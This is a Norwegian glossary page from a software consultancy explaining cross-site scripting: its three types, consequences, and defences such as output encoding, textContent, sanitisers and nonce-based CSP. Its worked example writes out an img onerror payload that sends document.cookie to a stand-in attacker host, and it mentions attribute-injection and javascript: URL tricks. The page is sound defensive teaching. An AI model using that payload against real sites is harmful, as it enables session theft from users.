Engineer

Krysskripting

et angrep som får en side til å kjøre en angripers skript

Hva det er

Krysskripting, på engelsk *cross-site scripting* og nesten alltid forkortet XSS, er angrepet der et nettsted tar tekst som kom fra noen andre, setter den inn i en side det serverer for andre, og lar være å nøytralisere den underveis, slik at nettleseren leser en del av teksten som kode og kjører den. Common Weakness Enumeration fører det som CWE-79, under en tittel som sier omtrent det samme: inndata som ikke nøytraliseres mens en nettside genereres. Angriperen endrer aldri koden til nettstedet. Angriperen leverer data, og nettstedet selv bringer skriptet ut til sine egne brukere, inne i sine egne sider.

Det finnes tre veier inn, og både CWE-oppføringen og OWASP beskriver dem. Ved reflektert XSS, også kalt ikke-persistent eller Type 1, reiser nyttelasten (*payload*) med i forespørselen, som regel som en URL-parameter, og serveren kopierer den inn i svaret: en side med søkeresultater, en feilmelding, alt som gjentar det den fikk tilsendt. Offeret må lokkes til å åpne en spesiallaget lenke, og derfor plasserer CWE-oppføringen slike lenker i kjernen av mange phishing-angrep. Ved lagret XSS, også kalt persistent eller Type 2, blir nyttelasten lagret først, i en kommentar, et foruminnlegg, et profilfelt eller en loggmelding, og den kjører for alle som senere ser den oppføringen. Ved DOM-basert XSS, Type 0, ser serveren kanskje aldri nyttelasten i det hele tatt. Sidens eget JavaScript leser noe angriperen styrer, for eksempel delen av URL-en etter `#`, og skriver det inn i dokumentet på en måte som får nettleseren til å tolke det som HTML-kode.

Navnet passer dårlig til det moderne problemet, og OWASP sier det selv: forebyggingsarket deres (*cheat sheet*) kaller betegnelsen misvisende. Den stammer fra tidlige angrep som stjal data på tvers av nettsteder, og har siden blitt utvidet til å dekke innsprøyting av nesten hvilket som helst innhold i en side, enten et annet nettsted er involvert eller ikke. Selv forkortelsen har en historie.

CWE-oppføringen forteller at den opplagte forkortelsen på tre bokstaver var vanlig i de første årene, helt til sammenfallet med Cascading Style Sheets gjorde at den gikk ut av bruk.

OWASP regner XSS som en form for injeksjon, i samme familie som SQL-injeksjon. I begge tilfeller krysser data en grense og havner et sted der de leses som instruksjoner: der den SQL-en en database kjører, her en sides HTML-kode, attributtverdier og JavaScript. Kuren har samme form begge steder. Hold data som data i det øyeblikket de settes inn, så har tolkeren ingenting av angriperens å kjøre.

Bruk begrepet i en beslutning

Bruk «Hva er krysskripting?» i en konkret beslutning. Vi kan knytte begrepet til systemet dere bygger eller kjøper. Kontoer, passord og tilganger ordnet slik at folk har nøyaktig den tilgangen jobben krever, og de som slutter, mister den samme dag.

Se tjenestene våre Ta kontakt →

Undersøk antakelsene bak ordet

Bruk forklaringen og det tilknyttede arbeidet til å formulere spørsmål for prosjektet. Vi kan undersøke antakelsene sammen før et verktøy velges. Skrev 1 000 RBAC-regler for å sikre Linux-servere — 1,000 tilgangsregler skrevet for å tette et sikkerhetshull

Skrev 1 000 RBAC-regler for å sikre Linux-servere Ta kontakt →

Hvorfor det er viktig

Skriptet kjører som nettstedets eget. Nettleseren fører ikke regnskap med hvor teksten kom fra; den ser en side som nettstedet har servert fra sitt eget opphav, og gir skriptet alt det opphavet har lov til. OWASP formulerer problemet slik at nettleseren ikke har noen mulighet til å vite at skriptet ikke burde ha tillit. CWE-oppføringen trekker konsekvensen: angrepet setter hensikten bak *same-origin policy* ut av spill, regelen som skal hindre skript fra ett nettsted i å strekke seg inn i et annet.

Det skriptet kan gjøre, er det brukeren kunne. CWE-79 nevner tyveri av private opplysninger i informasjonskapsler, for eksempel øktdata, som det vanligste angrepet, og advarer om at det er særlig farlig når offeret har administratorrettigheter på nettstedet. Listen til OWASP er lengre: å ta over kontoen, følge med på hva brukeren gjør, hente inn innhold fra andre steder, stjele sensitive data og skrive om selve siden. Lagret XSS i en loggmelding er en klassisk vei til nettopp de ofrene. CWE-oppføringen bruker det som eksempel, fordi de som leser logger, gjerne er administratorer, og fordi en loggviser ikke nødvendigvis håndterer fiendtlige inndata ordentlig.

Det angår alle webteam, ikke bare dem som fortsatt skriver HTML-kode for hånd. Moderne rammeverk har gjort XSS sjeldnere: OWASP gir malsystemene deres og den automatiske *escapingen* æren for færre feil. Alle rammeverk har likevel nødutganger for tilfellene der en utvikler vil sette inn HTML-kode direkte, og OWASP peker på nettopp dem som stedene der problemene fortsatt oppstår. Det samme forebyggingsarket slår fast at ingen enkelt teknikk løser XSS, og at det trengs en kombinasjon. Det er rammen for resten av artikkelen: kod først for riktig kontekst, og legg de andre lagene bak.

Slik ser det ut i praksis

Ta en nettbutikk der søkesiden gjentar søkeordet, slik at `https://shop.example/search?q=lamp` viser `Results: lamp`. Serveren bygger den linjen ved å lime parameteren inn i sidemalen sin. En angriper sender et offer en lenke der `q` er dette:

```
<img src=x onerror="fetch('//evil.example/'+document.cookie)">
```

Serveren limer den inn som før, og nettleseren til offeret mottar:

```
<p>Results: <img src=x onerror="fetch('//evil.example/'+document.cookie)"></p>
```

Bildet lar seg ikke laste, fordi `x` ikke er et bilde, og nettleseren kjører `onerror`-håndtereren, som sender brukerens informasjonskapsler til angriperens server. Koden står i et attributt og ikke i et `<script>`-element, og det er typisk: OWASPs eget eksempel på en nyttelast bruker `onerror`-attributtet til et bilde på samme måte.

Løsningen er å kode verdien for stedet den havner. I brødtekst i HTML betyr det at de fem tegnene `&`, `<`, `>`, `"` og `'` blir til `&`, `<`, `>`, `"` og `'`. Den samme nyttelasten kommer da fram som `<img src=x onerror="...">`, som nettleseren viser som tekst og aldri tolker som en tagg. Rammeverk med automatisk *escaping* gjør dette for deg; hullet åpner seg der en streng i stedet bygges for hånd.

I den DOM-baserte varianten sender serveren bare en statisk side, og sidens eget skript leser `q` og skriver det inn i overskriften:

```
const heading = document.querySelector("h1");
const q = new URLSearchParams(location.search).get("q");
heading.innerHTML = `Results for ${q}`; // tolker q som HTML
heading.textContent = `Results for ${q}`; // viser q som tekst
```

Linjen med `innerHTML` gir angriperens HTML-kode til HTML-parseren, og `onerror`-håndtereren slår til akkurat som før. HTML-standarden påpeker at et `<script>`-element som settes inn på denne måten, ikke kjøres i det hele tatt, og derfor lener nyttelaster seg på attributter for hendelseshåndterere i stedet. Linjen med `textContent` lager en tekstnode og tolker ingenting, så den samme verdien vises som harmløse tegn. Forebyggingsarket fra OWASP om DOM-basert XSS kaller det å velge et trygt mål (*sink*) som dette for den beste løsningen, og det generelle forebyggingsarket ber utviklere om å skrive koden om, bort fra `innerHTML` og over til `textContent`.

Bak kodingen ligger et lag til. En Content Security Policy som oppgir en nonce, ber nettleseren kjøre bare de skriptene som bærer den. Det gjeldende utkastet fra W3C ber serveren lage en ny nonce hver gang den sender en policy, på minst 128 bit fra en kryptografisk sikker tilfeldighetsgenerator. Et innsprøytet `<script>` har ingen nonce, og en innebygd håndterer som `onerror` ovenfor blir også avvist, for bare `'unsafe-inline'` eller `'unsafe-hashes'` kan tillate håndterere, og en nonce slår `'unsafe-inline'` av. Utkastet nevner `script-src 'strict-dynamic' 'nonce-{RANDOM}'` sammen med `base-uri 'self'` som et effektivt tiltak mot XSS som også lar seg rulle ut i praksis. I Chromium-baserte nettlesere går `require-trusted-types-for 'script'` lenger og får mål som `innerHTML` til å avvise vanlige strenger. OWASP advarer likevel om at en policy er lett å sette opp feil, og regner den som et ekstra lag snarere enn det primære forsvaret.

På en plattform med faglige og organisatoriske data setter mellomvaren i Next.js en slik policy med en nonce per forespørsel og strict-dynamic i tillegg til HSTS og SameSite-informasjonskapsler, så nettleseren er låst ned med tanke på hva den vil kjøre og sende. Den samme siden beskriver beskyttelse i flere lag for å unngå å være avhengig av én enkelt kontroll. Autorisasjonen på serveren er utformet for å fungere uavhengig av kontrollene på klienten, slik at grensesnittet ikke avgjør hvem som får tilgang.

Hvor det går galt

Koding for feil kontekst. Koding til HTML-entiteter er riktig for tekst mellom tagger og ikke nok andre steder. OWASP gir hver kontekst sin egen regel: en verdi inne i en URL-parameter prosentkodes på formen `%HH`, og en verdi inne i et attributt kodes for attributter og settes i anførselstegn. Koding beskytter dessuten bare stedet en streng settes inn, ikke det som skjer med den senere; en verdi som sendes videre til `eval()`, er utrygg uansett hva som er gjort med den. Vit hvor hver verdi havner, og bruk koderen i rammeverket for det stedet.

Attributter uten anførselstegn. Mellomrom avslutter en attributtverdi uten anførselstegn, så en angriper som kan legge til et mellomrom, kan legge til et eget attributt, og `onmouseover=` er alt som skal til. Sett alltid attributtverdier i anførselstegn, og bruk attributtkoderen i rammeverket.

Brukerdata i et attributt for hendelseshåndtering. Attributtkoding beskytter ikke JavaScript i `onclick` og slektningene, fordi HTML-parseren dekoder tegnreferanser før skriptet tolkes. Koble til håndterere med `addEventListener()`, og send brukerens verdi med som data.

En nødutgang i rammeverket matet med rå inndata. `dangerouslySetInnerHTML` i React, `bypassSecurityTrustAs*`-funksjonene i Angular og `unsafeHTML` i Lit slår alle av den automatiske *escapingen*. Når brukere virkelig trenger å skrive HTML-kode, kjør den gjennom en renser som DOMPurify, som OWASP anbefaler, ikke endre resultatet etterpå, og hold biblioteket oppdatert, fordi det stadig blir funnet nye omgåelser.

En `javascript:`-URL i en lenke. Et nettstedsfelt i en profil som inneholder `javascript:` etterfulgt av kode, gjør en uskyldig lenke om til et skript. React 19 blokkerer slike URL-er i `src` og `href`, men OWASP sier at det ikke erstatter applikasjonens egen validering av URL-er. Tillat de URL-typene feltet faktisk trenger, som `https:`, og avvis alt annet.

Inndatavalidering eller en WAF som løsningen. Validering hjelper, men den kan ikke fjerne alle farlige tegn fra fritekst. Eksemplet i CWE-oppføringen er hjertesmileyen `<3`, som valideringen i en chatteapplikasjon sannsynligvis ville sluppet gjennom, og som likevel inneholder `<`. En brannmur for nettapplikasjoner (*web application firewall*) ser etter kjente angrepsstrenger,

overser nye omgåelser og ser aldri DOM-basert XSS som skjer helt i nettleseren; OWASP anbefaler ikke en slik for å forebygge XSS. Kod utdataene, og regn begge deler som ekstra lag.

HttpOnly som en kur. Når øktkapselen er merket HttpOnly, kan ikke `document.cookie` lese den, og det tar brodden av den vanligste nyttelasten. Skriptet kjører likevel og kan opptre som brukeren inne fra siden. CWE-oppføringen kaller HttpOnly ingen fullstendig løsning, og OWASP sier at attributtene på informasjonskapsler begrenser skaden uten å hindre kjøringen. Sett den, og tett selve hullet.

JSON servert som HTML. Et endepunkt som returnerer brukerdata med `Content-Type: text/html`, inviterer nettleseren til å tolke dem som en side. Regelen fra OWASP er å sjekke at JSON går ut som `application/json`. Sett headeren eksplisitt på hvert eneste slikt svar.

Policyen som det primære forsvaret. En nonce som gjenbrukes på tvers av svar, en manglende `base-uri` eller en `'unsafe-inline'` som ble lagt til for å få én widget til å virke, kan hver for seg i det stille sette en policy ut av spill. Kod først, og la policyen fange det som slipper gjennom.

Les mer

- CWE-79 in the Common Weakness Enumeration — svakhetsoppføringen: de tre typene, konsekvensene og tiltakene med begrensningene deres.
- OWASP Cross Site Scripting Prevention Cheat Sheet — koding for hver kontekst, nødutgangene i rammeverkene, rensing og lagene bak dem.
- OWASP DOM based XSS Prevention Cheat Sheet — trygge og utrygge mål i nettleseren, med gjennomgåtte eksempler.
- OWASP: Cross Site Scripting (XSS) — angrepet sett fra angriperens side, med eksempler på nyttelaster.
- HTML Standard: Scripting — hvordan og når `script`-elementet kjører, også i HTML-kode som settes inn.
- Content Security Policy Level 3 — nonces, `'strict-dynamic'` og den strenge policyen utkastet anbefaler.

Ordliste

Velg ut fra deres faktiske rammer

Ta med utrullingsløpet, driftsrisikoene og dem som har vakt. Vi kan avgrense en endring med kontroller, en vei tilbake og tydelig ansvar.

Se hva det koster Ta kontakt →

Gjør begrepene praktiske

Spør hvordan «Hva er krysskripting?» gjelder i organisasjonen deres. Et konkret eksempel fra dagens system er nok til å starte samtalen.

Se tjenestene våre

welcome@engineer.company +45 50 10 61 84 København, Danmark

Ta med deg denne siden

Visittkort

Laget med kjærlighet av D.

CVR 45969703 · Tagensvej 105C, 3. th, 2200 København N

Opphavsrett © 2025 – nå · Engineer ApS · Alle rettigheter forbeholdt.

Skrevet ut fra https://engineer.company/nb/glossary/cross-site-scripting/